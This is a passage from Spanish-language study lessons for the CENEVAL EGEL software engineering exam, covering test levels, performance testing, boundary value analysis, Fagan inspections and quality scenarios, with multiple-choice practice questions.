las│\n│   especificaciones de la fase previa.│   necesidades reales del usuario.    │\n│ • Orientada al cumplimiento técnico. │ • Orientada al valor de negocio.     │\n│ • Actividades: revisiones de diseño, │ • Actividades: pruebas de aceptación │\n│   análisis estático, inspecciones de │   (UAT), pruebas beta con usuarios   │\n│   código, pruebas unitarias.         │   finales en entornos operacionales. │\n└──────────────────────────────────────┴──────────────────────────────────────┘\n```\n\n\u003e **Ejemplo de Trampa EGEL**: Un equipo construye un sistema de facturación electrónica que cumple al 100% las especificaciones de diseño y pasa todas las pruebas unitarias sin un solo fallo técnico (alta **Verificación**). Sin embargo, al entregarlo, el departamento contable no puede emitir nóminas porque la ley fiscal cambió el mes anterior y el software no contempla los nuevos impuestos (falla total de **Validación**).\n\n---\n\n## 2. Los Niveles de Prueba y la Pirámide de Testing\n\nSiguiendo el estándar internacional ISTQB (*International Software Testing Qualifications Board*), las pruebas se estructuran jerárquicamente:\n\n```\n                                  / \\\n                                 /   \\\n                                / UAT \\       ◄ Pruebas de Aceptación (Negocio)\n                               /───────\\\n                              / Sistema \\     ◄ Pruebas de Sistema E2E (Caja Negra)\n                             /───────────\\\n                            / Integración \\   ◄ Pruebas de Interfaces / APIs\n                           /───────────────\\\n                          /    Unitarias    \\ ◄ Pruebas Unitarias Aisladas (Rápidas, baratas)\n                         /───────────────────\\\n```\n\n### Detalle Operativo de los 4 Niveles de Prueba\n\n| Nivel de Prueba | Alcance | Enfoque de Diseño | Componentes Auxiliares |\n| :--- | :--- | :--- | :--- |\n| **1. Pruebas Unitarias (*Unit Testing*)** | Funciones, métodos, clases individuales aisladas. | Caja Blanca (*White Box*). | • **Mocks / Stubs**: Simulan el comportamiento de dependencias externas.\u003cbr\u003e• **Spies**: Verifican llamadas a métodos. |\n| **2. Pruebas de Integración (*Integration Testing*)** | Interacción, contratos y comunicación entre dos o más módulos, microservicios o bases de datos. | Caja Gris / Caja Negra. | • **Top-Down**: Inicia en la capa superior; requiere **Stubs** para sustituir los módulos inferiores no implementados.\u003cbr\u003e• **Bottom-Up**: Inicia en las capas bajas; requiere **Drivers** (controladores) para invocar las rutinas.\u003cbr\u003e• **Sandwich**: Combina ambas aproximaciones. |\n| **3. Pruebas de Sistema (*System Testing*)** | El sistema completo e integrado de principio a fin (*End-to-End*). | Caja Negra (*Black Box*). | Verifica requerimientos funcionales y atributos de calidad no funcionales (seguridad, rendimiento) en un ambiente idéntico a producción. |\n| **4. Pruebas de Aceptación (*Acceptance Testing*)** | Determinar si el sistema está listo para ser desplegado y aceptado contractualmente por el cliente. | Caja Negra orientada a negocio. | • **Pruebas Alpha**: Ejecutadas por usuarios seleccionados en las instalaciones del desarrollador en un entorno controlado.\u003cbr\u003e• **Pruebas Beta**: Ejecutadas por usuarios reales en sus propios entornos operacionales sin supervisión directa del equipo de desarrollo. |\n\n---\n\n## 3. Pruebas No Funcionales de Rendimiento (*Performance Testing*)\n\nUno de los temas con mayor índice de reprobación en el EGEL es la confusión entre los diferentes tipos de pruebas no funcionales de desempeño:\n\n```\nCapacidad\n (req/s)\n   ▲                                              [ SPIKE ] (Pico abrupto)\n   │                                                 ▲\n   │                         [ ESTRÉS ] (Break limit)│\n   │                            ▲                    │\n   │               [ CARGA ]    │                    │\n   │               (Esperada)   │                    │\n   │                ┌───────┐   │   ┌──┐             │   ┌─┐\n   │                │       │   └───┘  │             └───┘ │\n   │                │       │          │                   │\n   │   [ SOAK ]     │       │          │                   │\n   │ (Larga durac.) │       │          │                   │\n   │ ───────────────┘       └──────────┴───────────────────┴────────► Tiempo\n```\n\n### Taxonomía Rigurosa de Pruebas de Rendimiento\n\n| Tipo de Prueba | Perfil de Tráfico y Carga | Objetivo Principal | Qué Anomalías Detecta |\n| :--- | :--- | :--- | :--- |\n| **Prueba de Carga (*Load Testing*)** | Carga esperada en condiciones normales u horas pico predecibles (ej. 500 usuarios concurrentes sostenidos durante 2 horas). | Evaluar tiempos de respuesta, latencia y consumo de recursos dentro de los acuerdos de nivel de servicio (SLA). | Consultas SQL lentas, falta de índices, cuellos de botella en la serialización JSON. |\n| **Prueba de Estrés (*Stress Testing*)** | Carga incremental que supera la capacidad nominal máxima del sistema hasta provocar la falla (ej. aumentar de 1,000 a 10,000 usuarios hasta que el servidor colapse). | Determinar el **punto de quiebre (*breaking point*)** del sistema y verificar si se degrada de forma elegante (*graceful degradation*) y se recupera automáticamente (*recoverability*). | Bloqueos mutuos (*deadlocks*), saturación de pools de conexiones, caídas catastróficas en cascada (*cascading failures*). |\n| **Prueba de Resistencia / Remojo (*Soak / Endurance Testing*)** | Carga moderada pero sostenida de forma ininterrumpida durante **períodos prolongados** (24 a 72 horas continuas). | Evaluar la estabilidad a largo plazo del sistema bajo operación continua. | **Fugas de memoria (*Memory Leaks*)**, agotamiento progresivo de descriptores de archivo, fragmentación de memoria en el Garbage Collector, saturación de espacio en logs. |\n| **Prueba de Pico (*Spike Testing*)** | Incrementos súbitos, instantáneos y masivos de tráfico seguidos de un retorno rápido al nivel base (ej. pasar de 100 a 5,000 req/s en 10 segundos). | Evaluar la capacidad del sistema para absorber avalanchas imprevistas de tráfico (ej. aperturas de boletos, \"Black Friday\", noticias de última hora). | Caída del balanceador de carga, colapso de colas de mensajería, tiempos excesivos en el auto-escalado horizontal (*cold starts*). |\n| **Prueba de Escalabilidad (*Scalability Testing*)** | Incremento gradual de carga acompañado de la adición de recursos de hardware (CPU/RAM en vertical, o réplicas de pods en horizontal). | Determinar si el rendimiento escala linealmente con la inyección de infraestructura adicional. | Límites arquitectónicos de sincronización de estado, contención en bases de datos maestras no particionables. |\n\n---\n\n## 4. Técnicas de Diseño de Casos de Prueba de Caja Negra\n\nPara diseñar casos de prueba funcionales óptimos minimizando la redundancia, el estándar ISO/IEC/IEEE 29119 define dos técnicas fundamentales:\n\n### 1. Partición de Equivalencia (*Equivalence Partitioning*)\nDivide el dominio de entrada de un programa en clases o particiones de datos donde se asume que el sistema se comportará de forma idéntica para cualquier valor dentro de esa partición:\n* **Particiones Válidas**: Valores que deben ser procesados con éxito.\n* **Particiones Inválidas**: Valores que deben ser rechazados arrojando errores o validaciones controladas.\n\n*Ejemplo*: Un campo acepta edades para inscribirse a una beca universitaria de 18 a 30 años inclusive.\n* Partición Inválida 1: $\\text{edad} \u003c 18$ (ej. valor de prueba: $15$).\n* Partición Válida: $18 \\le \\text{edad} \\le 30$ (ej. valor de prueba: $24$).\n* Partición Inválida 2: $\\text{edad} \u003e 30$ (ej. valor de prueba: $45$).\nCon solo **3 casos de prueba** se cubre el 100% de las clases de equivalencia.\n\n### 2. Análisis de Valores Límite (*Boundary Value Analysis - BVA*)\nLa experiencia empírica demuestra que la gran mayoría de los defectos de programación ocurren en las fronteras de las condiciones (errores de tipo *off-by-one*, confundir `\u003c` con `\u003c=`).\nPara cada frontera entre clases de equivalencia, se deben probar los valores inmediatamente adyacentes:\n* El valor justo en el límite.\n* El valor inmediatamente inferior al límite.\n* El valor inmediatamente superior al límite.\n\n*En el ejemplo anterior (rango 18 a 30)*:\n* Frontera inferior (18): Probar **17** (inválido), **18** (válido), **19** (válido).\n* Frontera superior (30): Probar **29** (válido), **30** (válido), **31** (inválido).\n\n---\n\n## 5. Trampas Críticas CENEVAL EGEL\n\n1. **Trampa: Confundir Pruebas de Carga con Pruebas de Estrés**.\n   * *La clave*: Si el caso describe una prueba donde el tráfico se eleva intencionalmente hasta que el servidor \"truene\", se reinicie o devuelva errores HTTP 503 para ver cómo reacciona, es **Estrés**. Si el objetivo es verificar que responde en \u003c 200 ms bajo el volumen de ventas habitual, es **Carga**.\n2. **Trampa: Confundir Pruebas Alpha con Pruebas Beta**.\n   * *La clave*: **Alpha** ocurre en el entorno de desarrollo con supervisión. **Beta** ocurre en el entorno del cliente final sin control directo de los ingenieros.\n3. **Trampa: Confundir Stubs con Drivers en Pruebas de Integración**.\n   * *La clave*: En integración ascendente (*Bottom-Up*), se prueban módulos inferiores que necesitan ser llamados por un programa simulador superior $\\rightarrow$ se usa un **Driver** (conductor). En integración descendente (*Top-Down*), se prueban módulos superiores que necesitan invocar submódulos inferiores no terminados $\\rightarrow$ se usa un **Stub** (talón o resguardo).\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Reactivo 1\nUna aplicación web de comercio electrónico funciona con normalidad en sus pruebas funcionales. Sin embargo, el equipo de arquitectura desea certificar que el sistema no sufrirá degradación progresiva de rendimiento ni agotamiento de memoria física al operar durante una campaña comercial de cuatro días continuos. Para ello, configuran un script de pruebas automatizadas que inyecta una tasa constante de 200 usuarios concurrentes sin interrupción durante 96 horas seguidas, monitorizando el consumo de RAM de la máquina virtual de Java. ¿Qué tipo de prueba de rendimiento se está ejecutando?\n\nA) Prueba de Estrés (*Stress Testing*)  \nB) Prueba de Resistencia o Remojo (*Soak / Endurance Testing*)  \nC) Prueba de Pico (*Spike Testing*)  \nD) Prueba de Volumen (*Volume Testing*)  \n\n### Reactivo 2\nDurante el desarrollo de un módulo de cálculo actuarial en una aseguradora, el equipo verifica que cada algoritmo cumple a la perfección con las fórmulas matemáticas y los requerimientos de diseño estipulados en el documento de especificación técnica aprobado hace seis meses. No obstante, al mostrar el sistema al cliente en la sesión de aceptación, este rechaza la entrega señalando que las tablas de mortalidad empleadas quedaron derogadas por la Comisión Nacional de Seguros semanas atrás, por lo que el producto no sirve para la operación comercial actual. ¿Qué principio de la ingeniería de software explica este problema?\n\nA) El sistema superó la Verificación, pero falló en la Validación  \nB) El sistema superó la Validación, pero falló en la Verificación  \nC) El equipo cometió un error de Caja Blanca en la cobertura de ramas  \nD) Se violó el principio de análisis de valores límite en la entrada de datos  \n\n### Reactivo 3\nUn campo de captura de un sistema bancario solicita el monto de transferencia interbancaria en moneda nacional, estableciendo como regla de negocio que la transferencia mínima permitida es de $10.00 MXN y la máxima diaria es de $50,000.00 MXN. Aplicando la técnica de **Análisis de Valores Límite (BVA)** de dos puntos (en el límite y fuera del límite), ¿cuál es el conjunto mínimo de valores de prueba que deben diseñarse para evaluar las fronteras del sistema?\n\nA) $0.00, $10.00, $25,000.00, $50,000.00, $100,000.00  \nB) $9.99, $10.00, $50,000.00, $50,000.01  \nC) $5.00, $15.00, $49,000.00, $55,000.00  \nD) $10.00, $10.01, $49,999.99, $50,000.00  \n\n---\n*Las justificaciones detalladas y el análisis paso a paso de distractores se encuentran en la lección final de soluciones de la subárea 4.2.*\n","title":"4.2.3 Niveles y tipos de pruebas: De la pirámide de testing a las pruebas de carga y estrés"},{"children":[],"contentMd":"# 4.2.4 Revisiones Estáticas, Inspecciones Formales de Fagan y Auditorías de Software\n\nEn la ingeniería de software, las **pruebas estáticas** abarcan todas aquellas técnicas de evaluación de artefactos (documentos de requerimientos, diagramas de arquitectura, código fuente, scripts de despliegue) que se llevan a cabo **sin ejecutar el programa**.\n\nSegún los estudios empíricos de Barry Boehm y Capers Jones, el costo de corregir un defecto detectado en producción es entre 50 y 200 veces superior al costo de detectarlo en las etapas iniciales de especificación o diseño. Por ello, las **revisiones técnicas formales (IEEE 1028)** y en particular el método de **Inspección Formal de Michael Fagan** representan una de las inversiones de calidad con mayor retorno de inversión en el ciclo de vida del software.\n\n```\n       COSTO RELATIVO DE CORRECCIÓN DE UN DEFECTO SEGÚN LA FASE (Barry Boehm)\n       \n  $10,000 │                                                       ▲ Producción ($10,000)\n          │                                                      │\n   $1,000 │                                            ▲ Pruebas │\n          │                                           │  ($1,000)│\n     $100 │                                ▲ Código   │          │\n          │                               │  ($100)   │          │\n      $10 │                      ▲ Diseño │          │          │\n          │                     │  ($10)  │          │          │\n       $1 │ ──▲ Requerimientos  │         │          │          │\n          └───┴─────────────────┴─────────┴──────────┴──────────┴────────► Fases\n```\n\n---\n\n## 1. El Método de Inspección Formal de Michael Fagan (IEEE 1028)\n\nCreado por Michael Fagan en IBM en 1976 y formalizado en la norma **IEEE 1028**, la **Inspección de Software** es el proceso de revisión estática más riguroso, formal y disciplinado de la ingeniería de software. Su objetivo primordial es **detectar defectos** en el artefacto de forma temprana.\n\n### Las 6 Fases Secuenciales de la Inspección de Fagan\n\n```\n┌──────────────┐     ┌──────────────┐     ┌──────────────┐\n│ 1. PLANEACIÓN│ ──► │ 2. VISIÓN    │ ──► │ 3.PREPARACIÓN│\n│ (Planning)   │     │    GENERAL   │     │   INDIVIDUAL │\n└──────────────┘     └──────────────┘     └──────┬───────┘\n                                                 │\n┌──────────────┐     ┌──────────────┐            ▼\n│6. SEGUIMIENTO│ ◄── │ 5. RETRABAJO │ ◄── ┌──────────────┐\n│ (Follow-up)  │     │   (Rework)   │     │ 4. REUNIÓN DE│\n└──────────────┘     └──────────────┘     │  INSPECCIÓN  │\n                                          └──────────────┘\n```\n\n1. **Planeación (*Planning*)**: El autor somete el artefacto. El Moderador verifica los criterios de entrada (*entry criteria*), define el equipo de inspección, programa la agenda y distribuye el material.\n2. **Visión General (*Overview*)**: (Opcional) El autor expone brevemente el contexto y antecedentes del artefacto al equipo de inspectores.\n3. **Preparación Individual (*Preparation*)**: Cada inspector estudia el artefacto de forma solitaria y meticulosa antes de la reunión, utilizando **listas de comprobación (*checklists*)** y registrando anomalías detectadas. Si los inspectores no dedicaron el tiempo mínimo de preparación individual, el Moderador suspende la inspección.\n4. **Reunión de Inspección (*Inspection Meeting*)**:\n   * El **Lector** parafrasea o lee el artefacto paso a paso.\n   * Los inspectores señalan los defectos observados conforme se avanza.\n   * El **Registrador (Escriba)** documenta formalmente cada defecto, su severidad y ubicación en el reporte de inspección.\n   * **REGLA CAPITAL EGEL**: **Durante la reunión de inspección está estrictamente prohibido buscar o debatir soluciones a los defectos**. La reunión es exclusivamente para *encontrar y registrar* defectos. Discutir cómo solucionarlos devora el tiempo y destruye la eficacia del proceso.\n5. **Retrabajo (*Rework*)**: El autor recibe el registro de defectos y corrige el código o documento en su estación de trabajo.\n6. **Seguimiento (*Follow-up*)**: El Moderador (no todo el equipo) revisa que el autor haya corregido el 100% de los defectos reportados sin introducir nuevas inconsistencias. Si el retrabajo superó un umbral crítico (ej. \u003e 10% del artefacto modificado), el Moderador convoca a una **re-inspección formal**.\n\n---\n\n## 2. Roles Formales en la Inspección de Fagan\n\nLa correcta segregación de responsabilidades es la piedra angular del método:\n\n| Rol | Responsabilidades Específicas | Qué NO debe hacer (Regla EGEL) |\n| :--- | :--- | :--- |\n| **Moderador (*Moderator*)** | Es el líder y facilitador neutral del proceso de inspección. Gestiona la logística, asegura que se cumplan las reglas de interacción, modera la reunión de inspección y realiza el seguimiento final. Debe ser una persona técnicamente competente e independiente del equipo directo del autor. | **NO debe ser el autor ni el jefe inmediato del autor** (evita sesgos o intimidación en evaluaciones de desempeño). |\n| **Autor (*Author*)** | Es el creador original del artefacto inspeccionado. Su función principal en la reunión es responder preguntas breves de aclaración y aprender de los errores para la fase de retrabajo. | **NO debe moderar la reunión, NO debe actuar como lector ni debe defender su código** ante las críticas técnicas objetivas. |\n| **Lector (*Reader*)** | Conduce al grupo a través del artefacto, leyendo o parafraseando el código/documento línea por línea a una velocidad controlada (habitualmente de 100 a 150 líneas de código por hora). | **NO debe ser el autor**. Al leer otra persona, se eliminan los \"puntos ciegos\" mentales que el autor tiene sobre su propia obra. |\n| **Registrador / Escriba (*Recorder / Scribe*)** | Anota con exactitud cada defecto reportado en la plantilla oficial: descripción clara, línea/párrafo, severidad (Crítico, Mayor, Menor) y tipo de error. | **NO debe omitir registrar ningún defecto reportado por consenso**. |\n| **Inspector (*Inspector*)** | Ingenieros pares (incluyendo a menudo al moderador, lector y registrador) que analizan críticamente el artefacto desde distintas perspectivas (perspectiva de pruebas, de seguridad, de arquitectura). | **NO deben personalizar las críticas** hacia el autor; los comentarios se dirigen exclusivamente al artefacto. |\n\n---\n\n## 3. Jerarquía de Revisiones de Software (IEEE 1028)\n\nEl estándar **IEEE 1028** define diferentes tipos de revisiones ordenadas de menor a mayor formalidad:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                    ESPECTRO DE FORMALIDAD DE REVISIONES                     │\n│                                                                             │\n│   [ Inspección Formal de Fagan ]        ◄ Máxima formalidad y rigor         │\n│                 ▲                                                           │\n│   [ Revisión Técnica Formal ]                                               │\n│                 ▲                                                           │\n│   [ Recorrido Guiado (Walkthrough) ]                                        │\n│                 ▲                                                           │\n│   [ Revisión de Pull Request / Par ]                                        │\n│                 ▲                                                           │\n│   [ Revisión Informal ]                 ◄ Mínima formalidad                 │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n### Cuadro Comparativo de Tipos de Revisión\n\n| Tipo de Revisión | Quién Conduce la Sesión | Objetivo Central | Nivel de Formalidad | Registro de Métricas |\n| :--- | :--- | :--- | :---: | :---: |\n| **Inspección de Fagan** | El **Moderador** (el **Lector** expone el código). | Encontrar defectos en el artefacto de forma exhaustiva. | **Muy Alto** (reglas, listas de chequeo, roles formales). | **Obligatorio** (densidad de defectos, tiempos de preparación). |\n| **Recorrido Guiado (*Walkthrough*)** | El **Autor** del artefacto. | Educar a la audiencia, validar la comprensión del diseño y recopilar sugerencias o alternativas. | **Medio / Bajo** (guiado libremente por el autor). | Opcional (generalmente minutas informales). |\n| **Revisión Técnica (*Technical Review*)** | Líder técnico o moderador calificado. | Evaluar la idoneidad técnica de una arquitectura, adherencia a estándares y toma de decisiones. | **Alto** (con enfoque en consenso técnico). | Recomendado. |\n| **Revisión de Código Asíncrona (*Pull Request Review*)** | Uno o más revisores asignados en Git. | Control de calidad continuo previo a la integración en la rama principal. | **Variable / Ágil** (basada en comentarios inline). | Trazabilidad en la herramienta de Git. |\n\n---\n\n## 4. Auditorías de Calidad de Software (*Software Quality Audits*)\n\nA diferencia de las inspecciones de código (que evalúan si un artefacto técnico tiene bugs), una **Auditoría de Software** es un examen independiente y documentado conducido por personal calificado para determinar si las actividades del proyecto y sus resultados cumplen con los planes, contratos y estándares organizacionales establecidos:\n* **Independencia**: El auditor debe ser totalmente ajeno al equipo del proyecto para garantizar objetividad imparcial.\n* **Evidencias Objetivas**: La auditoría no se basa en opiniones; exige verificación de registros tangibles (ej. minutas de revisión firmadas, reportes de pruebas automatizadas aprobadas, registros de control de cambios autorizados).\n* **Hallazgos de Auditoría**: Se clasifican en **Conformidad**, **No Conformidad Mayor** (incumplimiento sistemático que compromete la calidad o el contrato), **No Conformidad Menor** (omisión aislada) y **Oportunidad de Mejora**.\n\n---\n\n## 5. Trampas Críticas CENEVAL EGEL\n\n1. **Trampa: Pensar que el Autor debe liderar o leer en la Inspección de Fagan**.\n   * *La clave*: En la inspección de Fagan, el líder es el **Moderador** y quien expone el material es el **Lector**. Si el autor dirige la sesión, se convierte en un **Walkthrough**, perdiendo la rigurosidad formal e introduciendo sesgo de confirmación.\n2. **Trampa: Proponer soluciones a los bugs durante la reunión de inspección**.\n   * *La clave*: Si una opción de respuesta propone *\"el moderador abre un debate de 30 minutos para que el equipo reprograme el algoritmo y resuelva la fuga de memoria\"*, es **absolutamente incorrecta**. Las soluciones se elaboran exclusivamente en la fase de **Retrabajo** por el autor.\n3. **Trampa: Usar los reportes de defectos de inspección para evaluar a los programadores**.\n   * *La clave*: La literatura formal de ingeniería de software prohíbe taxativamente usar las métricas de inspección para calificar o despedir programadores. Si se hiciera, los desarrolladores ocultarían los defectos y falsearían las listas de revisión, destruyendo la honestidad del proceso de calidad.\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Reactivo 1\nDurante una sesión de Inspección Formal de código según el estándar IEEE 1028 y la metodología de Michael Fagan, el equipo detecta una vulnerabilidad crítica de inyección SQL en una consulta dinámica construida en un servicio backend. De inmediato, dos ingenieros comienzan a debatir sobre si es más conveniente refactorizar el código utilizando un ORM completo o utilizar sentencias preparadas (*Prepared Statements*) parametrizadas. ¿Cuál es la intervención obligatoria que debe realizar el Moderador en este momento?\n\nA) Someter a votación democrática cuál de las dos soluciones arquitectónicas debe implementarse  \nB) Detener el debate de inmediato, solicitar al Registrador que documente la vulnerabilidad encontrada y ordenar al Lector continuar con la revisión del siguiente bloque de código  \nC) Asignar 15 minutos adicionales a la reunión para que el autor modifique el código en vivo y se verifique la corrección  \nD) Suspender la inspección formal y transferir la reunión a un recorrido guiado (*Walkthrough*)  \n\n### Reactivo 2\nUna organización que desarrolla software aeroespacial requiere revisar un documento de especificación de requerimientos de software de alta criticidad. Para garantizar que no existan puntos ciegos ni sesgos cognitivos durante la reunión de revisión, se designa a un ingeniero ajeno al autor para que lea e interprete en voz alta cada uno de los requerimientos y condiciones ante el grupo de inspectores. ¿Qué rol formal dentro de la Inspección de Fagan está desempeñando este profesional?\n\nA) Moderador (*Moderator*)  \nB) Escriba / Registrador (*Recorder*)  \nC) Lector (*Reader*)  \nD) Auditor de Calidad (*Auditor*)  \n\n### Reactivo 3\n¿Cuál es la diferencia metodológica fundamental entre una Inspección Formal de Fagan y un Recorrido Estructurado (*Walkthrough*) según la norma IEEE 1028?\n\nA) La Inspección se enfoca en software compilado, mientras que el Walkthrough se realiza únicamente sobre código interpretado  \nB) La Inspección es liderada por un Moderador neutral con roles formales y foco exclusivo en detección de defectos; el Walkthrough es conducido por el propio Autor y persigue la familiarización, aprendizaje y consenso  \nC) El Walkthrough utiliza obligatoriamente listas de verificación (*checklists*) cuantitativas, mientras que la Inspección es un proceso informal sin agenda  \nD) La Inspección busca resolver los defectos encontrados durante la sesión, mientras que el Walkthrough posterga las soluciones para la fase de pruebas dinámicas  \n\n---\n*Las justificaciones detalladas y el análisis paso a paso de distractores se encuentran en la lección final de soluciones de la subárea 4.2.*\n","title":"4.2.4 Revisiones estáticas, inspecciones formales de Fagan y auditorías de software"},{"children":[],"contentMd":"# 4.2.5 Escenarios Profesionales de Toma de Decisiones en Calidad de Software\n\nEn el examen CENEVAL EGEL, los reactivos de nivel integrador evalúan la capacidad del egresado para diagnosticar patologías organizacionales de calidad, seleccionar las pruebas pertinentes ante síntomas técnicos concretos y balancear los costos de prevención contra el riesgo de fallos en producción.\n\n---\n\n## 1. Escenario 1: El Patrón Antitético del Cono de Helado (*Ice Cream Cone Anti-pattern*)\n\n### Planteamiento del Problema\nUna empresa de tecnología financiera sufre una crisis de lanzamientos:\n* Cada despliegue a producción demora 2 semanas completas en una fase de \"estabilización manual\".\n* El equipo cuenta con 20 testers manuales que ejecutan interminables hojas de cálculo con casos de prueba de extremo a extremo (*E2E*) en la interfaz gráfica.\n* Tienen únicamente 15 pruebas unitarias en todo el backend (las cuales fallan con frecuencia y los desarrolladores omiten con flags de compilación).\n* Ante cualquier modificación de una sola línea de código, los testers deben re-ejecutar toda la suite manual por temor a regresiones ocultas.\n* A pesar de este esfuerzo masivo, el 25% de los incidentes en producción corresponden a defectos que habrían sido detectados con una prueba de función elemental.\n\n```\n       ANTIPATRÓN: CONO DE HELADO                    PIRÁMIDE IDEAL DE TESTING\n             (Invertida)                                   (Sólida)\n\n      ┌───────────────────────┐                               /\\\n      │   PRUEBAS MANUALES    │                              /UAT\\\n      │      UI Y E2E         │                             /─────\\\n      │  (Lentas, frágiles,   │                            /  E2E  \\\n      │    caras de correr)   │                           /─────────\\\n      ├───────────────────────┤                          /Integración\\\n      │  PRUEBAS INTEGRACIÓN  │                         /─────────────\\\n      ├───────────────────────┤                        /   PRUEBAS     \\\n      │   PRUEBAS UNITARIAS   │                       /   UNITARIAS     \\\n      │ (Casi inexistentes)   │                      / (Rápidas, baratas \\\n      └───────────────────────┘                     /  miles en minutos)  \\\n                                                   /───────────────────────\\\n```\n\n### Estrategia de Transformación de Calidad\n1. **Diagnóstico**: Antipatrón del cono de helado (*Inverted Test Pyramid*). Las pruebas E2E en UI son lentas, frágiles ante cambios menores de CSS/HTML y difíciles de mantener, provocando un ciclo de retroalimentación extremadamente lento.\n2. **Reestructuración de la Pirámide**:\n   * Congelar la creación de nuevas pruebas manuales de UI exhaustivas.\n   * Invertir en una base masiva de **pruebas unitarias automatizadas** que corran en \u003c 2 minutos en cada commit de Git.\n   * Construir pruebas de integración en el nivel de contratos de API (Caja Gris).\n   * Reducir las pruebas E2E a los **flujos críticos de negocio (*Happy Paths*)** indispensables (ej. login $\\rightarrow$ transferencia $\\rightarrow$ confirmación).\n   * Liberar a los testers manuales para dedicarse a **pruebas exploratorias de alto valor** y pruebas de usabilidad, en lugar de actuar como ejecutores mecánicos de regresiones.\n\n---\n\n## 2. Escenario 2: Diagnóstico y Selección de Pruebas No Funcionales\n\n### Planteamiento del Problema\nUn portal gubernamental de declaración anual de impuestos reporta tres anomalías técnicas independientes en diferentes fases de operación. El equipo de arquitectura debe diseñar el plan de pruebas no funcionales para cada caso:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                           MATRIZ DE CASOS Y PRUEBAS                         │\n├───────┬───────────────────────────────────────────┬─────────────────────────┤\n│ Caso  │ Síntoma Técnico Observado en Servidores   │ Prueba Idónea a Aplicar │\n├───────┼───────────────────────────────────────────┼─────────────────────────┤\n│ **1** │ El último día de vencimiento a las 23:55, │ **Prueba de Pico**      │\n│       │ el tráfico pasa de 200 req/s a 8,000      │ *(Spike Testing)*       │\n│       │ req/s en 45 segundos, colapsando la cola. │                         │\n├───────┼───────────────────────────────────────────┼─────────────────────────┤\n│ **2** │ Tras operar de manera estable durante     │ **Prueba de Resistencia**│\n│       │ 10 días continuos, la memoria JVM se agota│ *(Soak / Endurance)*    │\n│       │ con un `java.lang.OutOfMemoryError`.      │                         │\n├───────┼───────────────────────────────────────────┼─────────────────────────┤\n│ **3** │ Se necesita determinar cuántos usuarios   │ **Prueba de Estrés**    │\n│       │ simultáneos pueden conectarse antes de    │ *(Stress Testing)*      │\n│       │ que el sistema comience a arrojar errores │                         │\n│       │ y evaluar si el servicio se degrada bien. │                         │\n└───────┴───────────────────────────────────────────┴─────────────────────────┘\n```\n\n**Criterio de Decisión EGEL**:\n* Si el problema es una **avalancha repentina de tráfico** en segundos $\\rightarrow$ **Spike**.\n* Si el problema es una **fuga de memoria que tarda días en manifestarse** $\\rightarrow$ **Soak / Endurance**.\n* Si el objetivo es encontrar el **límite de rotura y el comportamiento destructivo** del sistema $\\rightarrow$ **Estrés**.\n\n---\n\n## 3. Escenario 3: Cobertura de Líneas Engañosa vs Pruebas de Mutación\n\n### Planteamiento del Problema\nUn módulo bancario que calcula intereses moratorios tiene el siguiente código:\n\n```c\nfloat calcularInteresMoratorio(float capital, int diasAtraso) {\n    float tasa = 0.05;\n    if (diasAtraso \u003e 30) {\n        tasa = 0.15;\n    }\n    return capital * tasa;\n}\n```\n\nEl desarrollador escribió este único caso de prueba:\n\n```c\nvoid testCalculo() {\n    float resultado = calcularInteresMoratorio(1000.0, 45);\n    // El test llama a la función con 45 días, ejecutando las líneas 1, 2, 3, 4 y 6\n    // La herramienta de cobertura de código reporta: ¡100% de Statement Coverage!\n}\n```\n\n### Vulnerabilidad Oculta\n* La prueba arrojó 100% de cobertura de sentencias porque todas las líneas fueron tocadas.\n* Sin embargo:\n  1. No se probó la rama falsa (`diasAtraso \u003c= 30`), dejando la cobertura de ramas en solo un 50%.\n  2. El test ni siquiera incluyó un `assert` formal comparando el resultado esperado (`resultado == 150.0`). Si la función devolviera `0.0`, ¡el test seguiría pasando en verde!\n\n### Solución Mediante Pruebas de Mutación (*Mutation Testing*)\nAl correr una herramienta de mutación (ej. *Pitest* o *Stryker*):\n* El mutador altera el código fuente: cambia `diasAtraso \u003e 30` por `diasAtraso \u003e= 30` o por `false`.\n* Como el test original no tiene aserciones que verifiquen el cálculo exacto ni casos con valores $\\le 30$, **el mutante sobrevive**.\n* La suite obtiene un **Mutation Score del 0%**, desnudando la fragilidad de la prueba a pesar de tener un falso \"100% de cobertura de código\".\n\n---\n\n## 4. Matriz Maestra de Toma de Decisiones en Calidad (Subárea 4.2)\n\n| Si en el examen se describe... | Y el objetivo técnico es... | La solución o estándar a aplicar es... |\n| :--- | :--- | :--- |\n| Módulos con métodos gigantes de más de 300 líneas y múltiples condicionales anidados. | Cuantificar la dificultad para probar y mantener el código. | Calcular la **Complejidad Ciclomática de McCabe** ($V(G) = P_n + 1$) y programar refactorización. |\n| Necesidad de asegurar que los componentes desacoplados cumplan sus contratos de comunicación. | Validar la integración sin montar la interfaz de usuario completa. | **Pruebas de Integración** guiadas por contratos de API (Stubs y Drivers). |\n| Evaluación formal de un documento de requerimientos antes de tirar una sola línea de código. | Detectar ambigüedades e inconsistencias al mínimo costo posible. | **Inspección Formal de Fagan** con moderador, lector y listas de cotejo. |\n| Demostrar que los cambios recientes no rompieron funcionalidades previas del software. | Mantener la estabilidad operativa continua ante nuevos despliegues. | **Pruebas de Regresión** automatizadas en el pipeline de CI/CD. |\n| Una organización que busca unificar y estandarizar sus procesos en todos los departamentos. | Pasar de esfuerzos aislados a normas corporativas compartidas. | Evolucionar de **CMMI Nivel 2 (Gestionado)** a **CMMI Nivel 3 (Definido)**. |\n| Un sistema que debe recuperarse automáticamente de fallos de hardware en segundos. | Medir la resistencia operacional del producto. | Evaluar la subcaracterística de **Tolerancia a fallos y Recuperabilidad** bajo la norma **ISO/IEC 25010**. |\n\n---\n\n## 5. Autoevaluación Formativa\n\n### Reactivo 1\nEn una entidad bancaria, la suite de integración continua corre 4,500 pruebas unitarias en 90 segundos con cada Pull Request. Antes de cada lanzamiento mensual a producción, se ejecuta una batería de pruebas de regresión automatizadas sobre los servicios REST. A pesar de esto, la alta dirección observa que el tiempo de salida al mercado (*Time to Market*) de nuevas características de usuario sigue siendo lento debido a que el equipo de control de calidad tarda tres semanas completas en ejecutar manualmente miles de casos de prueba sobre la interfaz gráfica de usuario web y móvil. ¿Qué acción de ingeniería de software soluciona de raíz esta ineficiencia?\n\nA) Contratar 15 analistas de pruebas manuales adicionales para ejecutar los casos de prueba en paralelo  \nB) 